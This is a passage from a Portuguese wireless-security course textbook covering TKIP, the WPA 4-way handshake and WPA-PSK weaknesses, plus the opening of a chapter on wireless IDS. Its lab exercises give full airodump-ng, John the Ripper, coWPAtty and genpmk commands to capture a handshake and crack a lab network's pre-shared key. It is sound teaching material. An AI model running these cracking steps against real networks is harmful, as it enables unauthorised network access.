cial na preveno de ataques de replay. WPA adota um MIC chamado Michael, que foi projetado levando em considerao os mesmos limites de hardware de WEP; 11 TKIP: mecanismo que gera chaves nicas por pacote.
TKIP MIC
11 Temporal Key Integrity Protocol. 11 Conjunto de mecanismos de segurana.
126
11 Melhora segurana em relao a WEP, mesmo com limitaes de projeto. 22 MIC: proteo contra trfego forjado. 22 Sequenciamento do IV: proteo contra ataques de replay. 22 Rekeying: contra-ataques que abusam da reutilizao de chaves. 22 Key Mixing: proteo da chave em si.
TKIP o protocolo que prov a confidencialidade e a integridade ao trfego da rede que WEP no proporcionava. Juntamente com a possibilidade de autenticao 802.1x/EAP no modelo Enterprise, TKIP melhora a proteo da rede por diversos mecanismos: 11 Hierarquia e gerenciamento de chaves que eliminam a previsibilidade de WEP; 11 Proteo contra forjamento de pacotes com MIC (Message Integrity Check); 11 Aumenta o tamanho da chave de 40 para 128 bits; 11 Substitui a chave esttica de WEP. A seguir, veremos cada uma destas melhorias em mais detalhes.
WEP
CRC32: 11 Permite duas entradas com o mesmo checksum. Sem MIC: 11 Atacante pode capturar, alterar e injetar trfego com mesmo checksum. 11 Explorado em ataques de replay. Uma das vulnerabilidades de WEP permitir que seu trfego seja capturado, alterado e retransmitido. Isso possvel porque a funo de hash CRC32 (Cyclic Redundancy Check)
usada tanto no checksum ICV quanto no FCS de WEP possibilita que o contedo do pacote seja alterado, obtendo um mesmo checksum CRC32. Em WPA, este problema foi resolvido com a introduo de Michael como MIC.
Michael
11 Gera hash de 64 bits. 11 A partir de cabealho + payload e chave de 64 bits. 11 Transmissor envia hash com pacote cifrado. 11 Receptor verifica hash no recebimento. O protocolo usado para MIC em TKIP se chama Michael, criado por Niels Fergunson.
Essa funo de autenticao recebe, como entradas, dados arbitrrios (cabealho e payload, no caso de 802.11) e uma chave de 64 bits para gerar um hash de 64 bits, includo no pacote. a mesma chave usada pelo sistema que transmitiu. Se um atacante alterar o pacote em trnsito, essa alterao se refletir no hash, que ser diferente do esperado pelo sistema receptor, porque o atacante no possui a chave MIC de 64 bits.
Recebido o pacote, o sistema receptor aplica Michael novamente para gerar o hash, com
127
TKIP sequncia do IV
Ataques de replay. 11 WEP no impe restries sobre a seleo de IVs. 22 No h proteo contra replay. Atacante pode capturar e retransmitir pacotes. 11 No necessrio conhecer o contedo dos pacotes. 11 Usado para repetir uma dada transao na rede.
Outro problema de WEP a ausncia de um mecanismo de restrio sequncia de valores de IV selecionados. O IV no usado como indicador da sequncia com que os pacotes tra fegam na rede, servindo apenas para cifrar e decifrar trfego em conjunto com a chave WEP. Essa caracterstica permite que um atacante injete, na rede em questo, trfego capturado previamente evento que o sistema receptor no tem condies de detectar. Um fator que certamente facilita esse tipo de ataque que no necessrio conhecer o con tedo do trfego capturado para retransmiti-lo, ou seja, no necessrio ter a chave WEP.
Para pensar
Um atacante poderia utilizar essa tcnica para provocar um trfego que lhe inte resse na rede; por exemplo: a resposta de um sistema financeiro que ele sabe, de antemo, que opera em rede sem fio.
Ataques de replay: como TKIP resolveu o problema

11 Requer IVs sequenciais, controlados por estaes e APs. 11 IV transmitido em claro. 11 IVs menores que os anteriores so descartados. 11 IVs maiores que o esperado passam por outros processos de validao. TKIP resolve o problema de WEP de uma maneira simples: exige que todas as estaes e
Access Points da rede usem IVs sequenciais, que comeam em 0 (zero) e so incrementados de 1 (um). As estaes devem manter controle sob o nmero de sequncia de cada uma das outras estaes. No caso de receberem um pacote com IV menor que um anteriormente recebido, o pacote simplesmente descartado. Por outro lado, se o IV tem valor maior que o esperado, ento o pacote passa por verificao de MIC e de chave de cifragem antes que o contador da estao seja atualizado com o novo valor. O IV transmitido no primeiro e terceiro bytes do pacote, possibilitando IVs de 16 bits (65.535).
interessante observar que, diferente de WEP, os IVs nunca so repetidos: o nmero de sequncia reiniciado antes de voltar a 0 (zero) e as chaves passam por rotao permanente.
Rekeying
11 Problema de WEP, que eventualmente reutilizava chaves. 11 Colises de IV. 11 Ataque possvel com texto em claro conhecido.
128
A repetio de chaves invalida o protocolo RC4. Em redes WEP esse evento acontece, uma vez que h apenas 16 milhes de valores IV nicos. Uma soluo para esse problema seria a troca peridica e automtica da chave WEP, o que possvel somente com extenses disponveis em 802.1x. Entretanto, a rotao baseada em tempo, usada em Dynamic WEP, ineficiente a taxas altas de transferncia. Assim, a rotao deveria ter, como gatilho, o nmero de pacotes enviados e recebidos, e no o tempo de durao desta operao.
Rekeying a soluo de WPA

Trs nveis de chave e rotao regular. Tipos: 11 Master Key. 11 Intermediate Key. 11 Temporal Key. Distribuio por mensagens EAPOL-Key (EAP Over LAN).
TKIP resolveu o problema de reemisso de chaves de WEP com a implantao de trs tipos de chave aliada rotao regular. Os nveis das chaves so os seguintes: 11 Master Key : chave-mestra usada para proteger a chave intermediria. a chave de maior nvel, derivada de uma transao 802.1x ou de uma chave pr-compartilhada, no caso de WPA-PSK; 11 Intermediate Key : misturando informaes nicas de cada par de conexo (origem e destino), para evitar ataques por parte de quem conhece a chave PSK, sua funo prin cipal proteger as chaves temporrias; 11 Temporal Key : nvel mais baixo da chave usada para cifrar os dados. Sofre rotao antes que os valores se repitam. A rotao de chaves temporrias realizada por mensagens do tipo EAPOL-Key.
Key Mixing
11 Problema de WEP. 11 Ocorrncia de IVs fracos revela a chave WEP. 11 Ataques FMS (Fluhrer, Mantin e Shamir). 11 Divulgao do IV reduz eficcia da chave. 11 Coliso de chaves. 11 Soluo deveria se limitar aos mesmos 3 bytes reservados para IV. A divulgao do IV pelo protocolo WEP outro ponto de vulnerabilidade, pois permite que
WPA mitiga esse problema ao levar em conta as limitaes de projeto, isto , deveria usar os mesmos 3 bytes reservados para IV em WEP, para que fosse possvel a atualizao por software. Para WPA, foi desenvolvido o mecanismo de mistura de chaves (key mixing).
129
um atacante identifique colises simplesmente ao capturar trfego na rede em questo.
Key Mixing soluo de WPA

Chave temporria para cifrar dados, em vez de PSK. Fases: 11 1: mistura endereos MAC e chave para produzir chave intermediria (PTK) PSK > PMK > PTK. 11 2: cifra o nmero de sequncia com a chave intermediria ou temporria. 11 Resultado: chave de 128 bits. A funo do campo IV WEP comporta os trs primeiros bytes da chave resultante. Em vez de cifrar os dados com a chave pr-compartilhada (como em WEP), WPA cifra os dados com uma chave temporria. Esse processo composto de duas fases: 11 Na fase 1: uma PMK (Pairwise Master Key) criada a partir da PSK e depois misturada
com os endereos MAC de origem e destino, gerando uma chave intermediria chamada Pairwise Transient Key PTK (); 11 Na fase 2: o nmero de sequncia do pacote cifrado com a chave temporria, resul tando em uma chave de 128 bits que ser usada na transao. A chave de 128 bits usada para cifrar o pacote, sendo que os primeiros 3 bytes so transmitidos no campo que comporta IV em WEP. Os endereos MAC so misturados com a chave temporria, o que torna a chave nica, mesmo se todos os clientes usam a mesma PSK e PMK. Mesmo que um atacante tivesse acesso a esta chave de 128 bits resultante do processo, ele no seria capaz de determinar estas duas ltimas chaves.
Figura 7.1 Detalhes de informao da chave.
TKIP 4-Way Handshake
130
O handshake de TKIP a maneira pela qual Supplicant e Authenticator trocam os dados necessrios para gerar a Pairwise Temporal Key (PTK). Para que PTK seja gerado, assume-se que AP e estao tenham conhecimento de: 11 Paiwise Master Key (PMK), resultado da chave pr-compartilhada em WPA-PSK ou resul tado de uma transao do protocolo 802.1x para WPA-Enterprise; 11 Seus prprios endereos MAC, uma vez que PTK gerado a partir da concatenao de PMK, ANonce, SNonce, MAC do AP e MAC da estao. No primeiro quadro, temos uma seo Key Information, que fornece informaes sobre tipos de chaves que sero trocadas: HMAC-MD5 para MIC, e RC4 para cifragem.
Figura 7.2 Valores das chaves.
Nessa nova viso do primeiro quadro, possvel visualizar o ANonce, indicador de uma nova negociao PTK. Em segurana, nonce um number used once, um nmero aleatrio ou pseudoaleatrio usado apenas uma vez, cujo objetivo evitar que uma comunicao antiga seja reutilizada em ataques do tipo replay. Esse quadro contm o primeiro de dois nonces usados no clculo de PTK, o ANonce (A de AP). (PTK). A estao precisa desse dado para construir o PTK. O quadro em particular no carrega MIC porque o Authenticator ainda no possui informaes suficientes para gerar o PTK, no tendo, portanto, um valor de MIC necessrio para o clculo. O segundo quadro tem origem no Supplicant, e contm o nonce do Supplicant e o MIC do quadro. Antes de transmitir esse quadro, o Supplicant tem conhecimento das informaes de nonce do Supplicant e pode calcular o PTK. Com o PTK calculado, a chave MIC HMAC-MD5 conhecida e ser usada no algoritmo HMAC-MD5 para gerar um MIC de 128 bits. 131
Em posse desse valor, a estao (STA) tem a capacidade de construir a Pairwise Transient Key
Quando o Authenticator recebe esse segundo quadro, extrai o nonce do Supplicant e pode calcular o PTK usando a chave HMAC para validar o MIC do pacote.
O penltimo quadro do handshake se origina do Authenticator, que inclui o Group Temporal Key (GTK) e um nmero de sequncia juntamente com um MIC. O nmero de sequncia usado no prximo quadro multicast ou broadcast, de forma bsica de deteco de replay pelas estaes. Esse quadro garante para o Supplicant que no h nenhum atacante homem do meio (Man In The Middle MITM), ou seja, que o quadro no foi alterado no caminho. Essa verificao garante tambm que o Authenticator calculou o PTK corretamente.
Figura 7.3 Handshake. Supplicant confirma nonces nicos e PTK corretos.
132
Figura 7.4 Pronto para transmitir e receber dados.
O ltimo quadro do handshake vem do Supplicant, que reconhece o recebimento do quadro anterior. Esse quadro tambm serve para indicar que o Supplicant est pronto para transmitir e receber dados.
STA ANonce
AP
STA constri o PTK SNonce + MIC
AP constri o PTK GTK + MIC Ack
Figura 7.5 As quatro etapas do handshake TKIP.
O grfico ilustra as quatro etapas do handshake TKIP, descritas passo a passo anteriormente. O objetivo dessa transao fornecer ao cliente a Pairwise Transient Key (PTK), a chave temporria que valer at a prxima emisso de chaves, usada na gerao de trs novas chaves: 11 EAPOL-Key Confirmation Key (KCK): chave usada para computar o MIC em pacotes EAPOL-Key; 11 EAPOL-Key Encryption Key (KEK): chave usada para cifrar os pacotes EAPOL-Key; 11 Temporal Key (TK): chave usada para cifrar o trfego sem fio em si.
133
Outro objetivo desta transao fornecer para a estao o nmero de sequncia usado na transmisso de trfego broadcast e multicast.
Identificando redes WPA-PSK

Quadros beacon: 11 Divulgam caractersticas do AP. 11 Identificam WPA-PSK. 11 Suporte a TKIP 11 WPA. 11 Auth Key Management 11 PSK. Antes de auditar a rede, importante confirmar se ela realmente baseada no protocolo TKIP com autenticao por chaves pr-compartilhadas (WPA-PSK). Quadros beacon so transmitidos com uma frequncia muito alta (10 vezes por segundo) e auxiliam na identifi cao dessas redes.
Filtro de Wireshark
Figura 7.6 Quadro beacon de uma rede WPA-PSK
O quadro beacon possui um tag de gerenciamento que indica os mecanismos de cifragem e o gerenciamento de chaves de autenticao suportadas pelo AP. Podemos usar a ferramenta Wireshark para identificar quadros que contenham esse tag de gerenciamento definindo TKIP ou AES como cifrador e esquema de gerenciamento de autenticao como PSK ou 802.1x. O slide mostra o quadro beacon de uma rede WPA-PSK, selecionado com o seguinte filtro:
134
wlan_mgt.tag.number eq 221
Esse tag tem 22 bytes e interpretado pelo Wireshark diversas vezes, o que nos traz informaes interessantes: 11 TKIP o cifrador tanto para unicast quanto para multicast; 11 PSK o tipo de gerenciamento de autenticao por chaves.
Ataques contra WPA-PSK

11 Falha na derivao de PTK. 11 Ataque off-line de dicionrio. 11 Requisito: capturar handshake. Implementao do ataque: coWPAtty. 11 Verses mais recentes com ataque pr-computado. 22 Ataques muito mais rpidos. 22 Pr-computado com dicionrio e SSID.
w
Leia o texto Weakness in Passphrase Choice in WPA Interface, de Robert Moskowitz, e visite o site coWPAtty: https://sourceforge. net/projects/cowpatty
Com seu artigo publicado em 2003, Robert Moskowitz apontou para uma fraqueza no processo de derivao da Pairwise Transient Key (PTK) de redes WPA-PSK. Essa vulnera bilidade permite que um atacante realize um ataque de dicionrio off-line contra a chave pr-compartilhada (PSK), coletando apenas o contedo do handshaking. Joshua Wright, do SANS Institute, implementou esse ataque na ferramenta coWPAtty, que ser abordada em mais detalhes na atividade prtica deste Captulo.
Melhorando a segurana de WPA-PSK

11 Insegurana est em senhas compartilhadas. 11 Limitar conhecimento da chave. 11 Difcil de gerenciar em ambiente corporativo. 11 Seleo de senha forte. 11 Combinao variada de mais de 20 caracteres. 11 Soluo: WPA com 802.1x/EAP. 11 Elimina o compartilhamento da chave PSK. Devemos ter em mente que WPA-PSK voltado para o mercado domstico e de pequenas empresas (SOHO), uma vez que o gerenciamento das chaves se torna impraticvel em ambiente corporativo. Considerando esse escopo de WPA-PSK, duas medidas podem ser tomadas para melhorar a sua segurana: 11 Limitar o conhecimento da senha, algo subjetivo demais para ser considerado como 11 Seleo de senhas fortes, com caracteres variados e com pelo menos 20 caracteres de extenso.
Essas so as duas medidas de segurana possveis, desconsiderando segurana em profun didade implantao de VPN, firewall e outras medidas de apoio segurana da rede no nvel da camada 2. A nica maneira de se elevar o mecanismo de segurana da rede sem fio em si migrar para o modelo WPA-Enterprise, ou seja, implantar autenticao 802.1x com um dos mtodos Extensible Authentication Protocol (EAP).
135
medida de segurana;
Vulnerabilidades do TKIP
Apesar das implementaes de segurana, o protocolo TKIP vulnervel. 11 Utiliza um mecanismo de verificao de integridade basedado no CRC32. 11 Ataque Beck-Tews (QoS). 11 Ataque Origashi-Morii (MITM). Apesar do protocolo TKIP implementar uma soluo contra replay de pacotes, essa no foi sufi-
q
l
No artigo Practical attacks against WEP and WPA, Martin Beck e Erick Tews demonstram esse ataque, que ficou conhecido como ataque Beck-Tews. Leia tambm o artigo A Practical Message Falsification Attack on WPA de Toshihiro Ohigashi e Masakatu Morii.
ciente, uma vez que ainda utiliza um mecanismo de verificao de integridade baseado em CRC32. A realizao desse ataque no simples, pois depende de um access point com suporte a QoS, pois o ataque utiliza os canais QoS para transmitir os pacotes reconstrudos. Esse ataque pode ser realizado com a ferramenta tkiptun-ng, disponibilizada pelo Aircrack-ng, porm no realizaremos esse ataque devido falta de suporte de QoS pelo AP que utilizamos nos testes. Em 2009, dois pesquisadores japoneses, Toshihiro Ohigashi and Masakatu Morii, apre sentaram um paper com uma forma mais eficiente de executar o ataque de Beck-Tews, utilizando uma tcnica de Man In The Middle. Porm, esse ataque no foi implementado oficialmente na ferramenta tkiptun-ng.
WPA2
WPA2 a implementao de fato do modelo de segurana proposto em 802.11i. 11 Implementa 802.11i por completo. 11 TKIP > CCMP. 11 RC4 > AES. 11 Tambm nas verses Personal e Enterprise.
A implementao completa de 802.11i oferecida por WPA2 e apresenta as seguintes caractersticas: 11 WPA2 Personal e Enterprise: assim como WPA, possvel usar chave pr-compartilhada (PSK) ou autenticao 802.1 com um dos tipos de EAP disponveis. 11 Robust Security Network (RSN) para associaes. 11 Counter Mode with Cipher Block Chaining Message Authentication Code Protocol (CCMP) para prover confidencialidade, integridade e autenticao. Baseado no algoritmo Advanced Encryption Standard (AES). 11 A implementao desse protocolo foi feita completamente do zero, baseado nos estudos dos protocolos 802.10 e IPsec, no tendo nenhuma relao com WEP e necessitando suporte especfico tanto de hardware quanto de software no AP e na interface de acesso. 11 A implementao de WPA2, bem como WPA associado a 802.1x e EAP, ser abordada nos
Captulos 9 e 10. Neste Captulo, implantaremos uma WLAN mais segura, baseada em WPA2 (AES/CCMP) e com autenticao 802.1x pelo EAP type EAP-TLS.
136
Atividade 7.1 Descobrindo a chave WPA-PSK por ataque de dicionrio
Neste exerccio, constataremos que os protocolos WPA Personal (WPA-PSK) e WPA2 Personal (WPA2-PSK) mecanismos de segurana que muitos usurios consideram invulnerveis so suscetveis a ataques de dicionrio. Usaremos a ferramenta coWPAtty, desenvolvida por Joshua Wright (SANS Institute/Aruba Networks) para aplicar esse ataque. Os arquivos de demonstrao esto no seguinte diretrio: 11 /root/Desktop/SEG6/wpa/exemplo-john-rules.txt : exemplo de derivaes de uma palavra (exemplo) depois de processadas pelo utilitrio John the Ripper com o par metro --rules 11 wordlist-portugues-john-rules.txt: palavras de dicionrio parcial depois de processadas pelo utilitrio John the Ripper com o parmetro --rules; 11 wordlist-portugues-john-rules.hash: arquivo de hash coWPAtty (genpmk) para o SSID rnpesr, usando o arquivo wordlist-portugues-john-rules.txt como fonte; 11 wordlist-portugues.hash: arquivo de hash coWPAtty (genpmk) para o SSID rnpesr, usando o arquivo wordlist-portugues.txt como fonte; 11 wpa-eapol-rnpesr.cap: arquivo em formato tcpdump/libpcap com trfego EAPOL (EAP over LAN) de uma associao entre um cliente e um AP em uma rede configurada com WPA Personal (TKIP) e SSID rnpesr. Para usar a ferramenta coWPAtty, o aluno precisa de um arquivo com no mnimo um handshake TKIP, como esse. Todos esses arquivos (exceto exemplo-john-rules.txt ) sero criados pelo aluno na segunda fase do laboratrio, em ambiente ao vivo. Considere-os como modelos. 1. Abra o arquivo pr-capturado wpa-eapol-rnpesr.cap usando a ferramenta Wireshark. Verifique a existncia do trfego four-way-handshake da autenticao ou associao do cliente e o tipo de chave usada (WPA). A captura desse trfego essencial na utilizao do coWPAtty. Veja as opes deste comando:
# cowpatty
Ateno aos parmetros -f, -s e -r. Mais adiante utilizaremos tambm o parmetro -d para lidar com hashs de senha pr-processados para um determinado SSID, usando o comando genpmk (pacote coWPAtty). Para iniciar o ataque off-line de fora bruta contra o arquivo de captura wpa-eapol-rnpesr.cap, use o comando:
# cowpatty f /root/Desktop/SEG6/wpa/wordlist-portugues.txt s rnpesr r /rnp-esr/7-wpa/demo/wpa-eapol-rnpesr.cap Aguarde.

Anote o tempo gasto no processo: .
137
Se ao final da execuo do comando tivermos a seguinte sada, nenhuma das palavras a chave PSK (Pre-Shared Key) da rede rnpesr.
Unable do identify the PSK from the dictionary file. Try expanding your passphrase list, and double check the SSID. Sorry it didnt work out.
1158 passphrases tested in 28.53 seconds: 40.59 passphrases/second

Siga a orientao da prpria sada do programa, ou seja, expanda a sua lista de palavras. Isso pode ser feito com a mesma lista de palavras (wordlist); usaremos a ferramenta John the Ripper (john) para esse fim. Um dos recursos dessa ferramenta o parmetro --rules, que testa diversas variaes comuns de cada uma das palavras. Execute o seguinte comando:
# john -wordlist=/root/Desktop/SEG6/wpa/wordlist-portugues.txt - rules --stdout > /rnp-esr/7-wpa/saidas/wordlist-portugues-john.txt

O resultado desse comando deve ser igual ao arquivo /root/Desktop/SEG6/wpa//wordlist-portugues-john-rules.txt. Confira. Para compreender melhor o efeito do parmetro rules da ferramenta John the Ripper, con sulte o arquivo exemplo-john-rules em /root/Desktop/SEG6/wpa//exemplo-john-rules.txt. Essa foi a sada para o comando sobre um arquivo que tinha apenas uma palavra, exemplo. 2. Repita a operao: repita o comando cowpatty para verificar se o aumento no universo de palavras foi suficiente para permitir a descoberta da chave dessa rede. Use o arquivo que geramos, wordlist-portugues-john.txt. Note que a diferena na quantidade de palavras bem significativa. O primeiro arquivo tem 1.383 linhas/palavras. Consulte o nmero de palavras da segunda lista de palavras:
# wc -l /root/Desktop/SEG6/wpa//saidas/wordlist-portugues-john.txt
Esse aumento naturalmente vai causar impacto no tempo de execuo da ferramenta coWPAtty. Anote o tempo gasto no processo: .
Atividade 7.2 Descobrindo a chave WPA-PSK por ataque de dicionrio de maneira muito mais rpida
possvel reduzir drasticamente o tempo do ataque por meio do uso de hash de senhas pr-computadas, levando em considerao o SSID, elemento usado no mecanismo de autenticao ou associao. Verifique as opes do comando:
# genpmk
Para criar esse arquivo de hash:
# genpmk f arquivo_de_wordlist s rnpesr d arquivo_de_wordlist. hash

Escolha a lista de palavras com a qual tivemos sucesso na etapa anterior (antes ou depois de John the Ripper). Coloque esse arquivo como parmetro -f.
138
Uma vez gerado o hash file, podemos executar novamente o coWPAtty, agora usando esse arquivo em vez do dicionrio. Note que no usamos mais o parmetro -f (dictionary file), e sim -d (arquivo hash gerado pela ferramenta genpmk ).
# cowpatty d arquivo_de_wordlist.hash s rnpesr r /root/Desktop/ SEG6/wpa/wpa-eapol-rnpesr.cap

Observe a execuo do coWPAtty e anote o tempo que a ferramenta levou para descobrir as senhas. Qual foi a principal diferena observada entre os dois mtodos de descoberta da chave? Note que esse arquivo hash s pode ser utilizado para ataques contra o SSID usado no comando genpmk.
Atividade 7.3 Realizando um ataque contra a rede do laboratrio

O primeiro passo para efetuar um ataque real capturar o trfego de um cliente se associando a um AP configurado com WPA-PSK. Para isso, voc aplicar o que aprendeu na sesso prtica que trata de captura. Voc deve conhecer, de antemo, o canal da rede a ser atacada e o SSID da mesma. O primeiro dado importante na captura, enquanto o ltimo importante para o ataque em si. Voc usar a ferramenta Airodump-ng para capturar os pacotes durante a associao de um cliente ao AP. Nesse momento existe um AP configurado com WPA-PSK. O instrutor informar canal, SSID e BSSID (endereo MAC do AP).
# airmon-ng start wlan0

Depois de configurada a interface, j podemos comear a capturar pacotes interessantes, ou seja, o processo de associao e handshaking TKIP. Apenas um aluno e o instrutor conhecem a chave da rede WPA Personal/WPA PSK. A estao de trabalho ser associada ou desassociada para gerar o trfego de que voc precisa.
# cd /root/Desktop/SEG6/wpa/saidas/ # airodump-ng --channel X --bssid rnpesr2 -w airodumpng-rnpesr2

Onde X o canal que o instrutor forneceu, BSSID o BSSID que o instrutor forneceu e PREFIXO um campo livre para definio do prefixo do nome de arquivo de sada. Outra maneira de descobrir esses dados da rede com as ferramentas Kismet. Neste ponto, um cliente WPA-PSK iniciar um processo de autenticao ou associao com o AP. To logo acreditemos que j tenha sido capturado o trfego de um cliente associado, preciso interromper a captura com o comando Control + C. A chave da rede uma das palavras da lista fornecida no incio desta prtica, wordlist-portugues.txt. A chave tambm pode ser uma variao deste arquivo, gerada pela ferramenta John the Ripper. Para iniciar o ataque off-line de fora bruta contra o arquivo capturado, use a ferramenta coWPAtty:
# cowpatty f /root/Desktop/SEG6/wpa/wordlist-portugues.txt s rnpesr2 r airodumpng-rnpesr2-01.cap

Note que cada vez que executamos o comando airodump-ng, criado um novo arquivo de captura sequencial. Exemplo: para um prefixo rnp (comando airodump-ng ), os arquivos so rnp-01.cap, rnp-02.cap e assim por diante. Observe o tempo que coWPAtty leva para descobrir a chave e anote: .
139
Agora vamos realizar o mesmo ataque usando hashs de chaves pr-computados com a ferramenta genpmk.
# cd /root/Desktop/SEG6/wpa/saidas # genpmk f /root/Desktop/SEG6/wpa/wordlist-portugues.txt s rnpesr2 d wordlist-portugues.hash

Uma vez gerado o arquivo hash, execute novamente o coWPAtty, agora usando esse arquivo em vez do dicionrio:
# cd /root/Desktop/SEG6/wpa/saidas # cowpatty d wordlist-portugues.hash s rnpesr2 r airodumpngrnpesr2-01.cap

Ou:
# cd /root/Desktop/SEG6/wpa/saidas # cowpatty d wordlist-portugues.hash s rnpesr2 r airodumpngrnpesr2-02.cap

Anote o tempo gasto: .
140
8
Sistemas de deteco de intruses (IDS) em redes WLAN
objetivos
Apresentar conceitos de IDS no contexto de uma WLAN; mostrar os principais mtodos de deteco de ataques em redes sem fio; identificar caractersticas importantes de um IDS importantes na compra e implantao de um IDS.
conceitos
Funcionalidades de um AP pela instalao de OpenWRT.
Introduo
11 Conceitos de IDS. 11 Modelos de implantao. 11 Mtodos de deteco. 11 Avaliao de solues de IDS. 11 Caractersticas importantes.
Neste captulo, sero apresentados conceitos importantes de Intrusion Detection System (IDS) no contexto de redes sem fio. Examinaremos conceitos bsicos, modelos de implantao, mtodos de deteco aplicveis a redes 802.11 e caractersticas que devem ser consideradas na escolha e na elaborao de projeto de um IDS. Ao final, introduziremos o modelo de IDS que o Kismet implementa, com a interessante possibilidade de distribuio de sensores (Drones), que reportam a um servidor central. Essa introduo ser importante para a atividade prtica que se seguir.
Sistemas de deteco de intrusos (IDS) em redes WLAN

11 Intrusion Detection System. 11 Extenso da tecnologia IDS para redes sem fio. 11 Monitorao da rede, em busca de sinais de abuso. 11 Sensores distribudos, repositrio central.
141
Captulo 8 - Sistemas de deteco de intruses (IDS) em redes WLAN
11 IDS distribudo com Kismet.
11 IDS rede sem fio (WIDS) versus IDS rede cabeada. 22 Camada 2. 22 Canais. Sistemas de Intrusion Detection System (IDS) em redes sem fio so uma extenso da tecno logia j empregada em redes cabeadas. Do ponto de vista de rede, a diferena entre redes
cabeadas e sem fio est na camada fsica, e a monitorao nessa camada que nos interessa. A implantao de um IDS em uma rede cabeada depende do objetivo de monitorao, ou seja: monitorar a atividade da rede interna, monitorar ataques externos, entre outros. O permetro da rede controlvel, englobando a localizao fsica e o controle do acesso entre redes por firewalls. Redes sem fio tm suas peculiaridades: 11 No possuem permetro: pode parecer estranho primeira vista, mas possvel afirmar que no h permetro em redes sem fio, especialmente levando em conta o risco dos rogues; 11 Canais: em redes cabeadas, os sensores normalmente so distribudos em interfaces que limitam zonas da rede. J em redes sem fio, a monitorao normalmente ocorre por canal. interessante que se monitore a maior quantidade possvel de canais, inclusive os no utilizados pelas redes da organizao; 11 Camada TCP/IP: IDS de uma rede sem fio deve inspecionar quadros de camada 2 isso que lhe confere a capacidade de detectar ataques DoS e outros especficos de redes 802.11. A integrao com um IDS de camadas superiores pode ser feita, desde que se resolva a questo do trfego cifrado; 11 Trfego cifrado: nem sempre possvel direcionar o trfego de camadas 3 e 4 para um IDS convencional, j que o payload dos quadros 802.11 de dados podem estar cifrados. Ao final do Captulo 8, ser introduzido o conceito de IDS distribudo com Kismet, ferra menta que j conhecemos por sua utilidade em auditorias; 11 WIDS: Wireless IDS.
Termos importantes
Evento de interesse para o analista. Falso-positivo: 11 Classificao incorreta de um alerta. 22 Alarme falso. Falso-negativo: 11 Classificao incorreta de um ataque. 22 Ausncia de deteco. Sistemas de IDS normalmente so baseados em captura de trfego, busca por assinaturas
conhecidas e alguma forma de alerta para o analista. Existem alguns termos essenciais na avaliao da eficincia de um IDS: 11 Evento de interesse (Event of Interest): evento que pode indicar a presena de um ata cante. No contexto de redes sem fio, podemos dar como exemplo a identificao de uma estao que esteja usando a ferramenta NetStumbler. importante para se entender os motivos ou tticas de um atacante; 11 Falso-positivo: classificao incorreta de um alerta, normalmente indicando atividade maliciosa onde um IDS deve ter pouca incidncia de falsos-positivos, uma vez que esse tipo de alarme falso faz com que analistas reajam e investiguem um ataque que no existe;
142
11 Falso-negativo: o oposto de falso-positivo: h um ataque em andamento, mas o IDS no capaz de identific-lo e, consequentemente, alertar o analista. Um falso-negativo pior para a organizao do que um falso-positivo e, normalmente, indica uma carncia do IDS no identificar corretamente trfego fragmentado em pacotes, por exemplo ou, o que mais frequente, uma base de assinaturas desatualizada.
B as
e de Dados
Con guraes
Detector
Dados
Alarmes
Contramedidas Aes
Figura 8.1 Arquitetura genrica de um IDS.
Sistema
Modelos de implantao
Cobertura
11 Sensores dedicados. 22 Salta entre canais sem se preocupar com clientes conectados. 11 Necessidade de hardware dedicado. 22 Opo mais cara. 22 Complexo de gerenciar e implantar. 11 Opo que oferece mais funcionalidades. 11 Detecta ataques avanados.
22 Ajuda na resoluo de problemas e monitorao de desempenho. Dois modelos podem ser adotados na implantao de um IDS: cobertura e integrada. No modelo cobertura, os sensores so dedicados e livres para trocar de canal. Eventualmente possvel estacionar em um canal que apresente atividade maliciosa. Essa liberdade de troca de canais , ao mesmo tempo, a vantagem do modelo cobertura e a desvantagem do modelo integrado pois saltar de canais bom para monitorao, mas impede que o AP atenda associao de clientes. A desvantagem desse modelo est em dois fatores: custo e complexidade de implantao. necessrio conduzir um estudo para se avaliar adequadamente a rea de cobertura da rede. Outro fator importante a necessidade de uma interface dedicada monitorao, com o uso de outra interface normalmente cabeada para conexo com o servidor centralizado de gerncia. Embora esse modelo seja o de maior custo, teremos condies de implant-lo na atividade prtica deste Captulo 8. A relao entre a quantidade de clientes e Access Points, assim como a disponibilidade de um software de monitorao de qualidade superior e open source (Kismet) permite que experimentemos um modelo mais sofisticado de monitorao, com mais funcionalidades. A capacidade de operar em modo monitor em que todo o trfego de um dado canal, incluindo os de gerenciamento e controle, capturado aliado possibilidade
143
de saltar entre canais e detectar 22 tipos de ataques conhecidos, confere para Kismet uma soluo com recursos comparveis aos de solues comerciais.
Implantao integrada
11 APs existentes para monitorao. 11 Opo mais barata. 11 Administrao mais simples que o modelo cobertura. 11 Varredura limitada. 22 Deve permanecer em um nico canal para prover servios.
Outro modelo de implantao disponvel o integrado, que usa os prprios Access Points da infraestrutura para monitorao da rede. uma soluo de baixo custo, mas exige que se utilize um equipamento que permita essa funcionalidade, porque necessrio que a interface sem fio seja capaz tanto de monitorar quanto de prover servio de infraestrutura. Uma implantao de Kismet no possvel nesse modelo, a menos que se tenha um Access Point com duas interfaces de rede sem fio: uma em modo monitor exigncia de Kismet e outra para prover associao para clientes. Diferente do modelo cobertura, sensores nesse modelo no so capazes de moni torar todos os canais, j que precisam permanecer em um nico canal para prover conectividade para clientes.
Mtodos de deteco
11 Anlise de assinaturas. 11 Anlise de tendncias. 11 Anlise de anomalias. 11 Anlise individual dos pacotes: 22 Baseada em assinaturas. 22 Rpida e com poucos recursos. 11 Tipo mais comum de deteco. 11 Disponvel no Kismet. 11 Detecta somente ataques conhecidos. 22 Necessidade de atualizao frequente. 22 Possibilidade de falsos-positivos. Na anlise por assinaturas, cada pacote capturado analisado contra uma base de assina Segurana em Redes sem Fio
turas de ataques conhecidos. A vantagem dessa tcnica a velocidade de anlise, permitindo que o sensor seja capaz de detectar ataques mesmo a altas taxas. O nico fator limitante a capacidade de processamento do dispositivo, que deve ser levada em conside rao quando a implementao dos sensores ocorre nos Access Points. A desvantagem a incidncia de falso-positivos (menor que na abordagem por anomalia) e a capacidade de deteco de apenas alguns tipos de ataque. bom lembrar que outro fator importante que deve ser levado em conta em qualquer sistema que detecta ataques por assinatura, seja um IDS ou um antivrus, a atualizao frequente do banco de dados de assinaturas.
144
Kismet prov anlise de pacotes por assinaturas para 12 tipos de ataques diferentes, como veremos mais adiante neste captulo.
Anlise de assinaturas
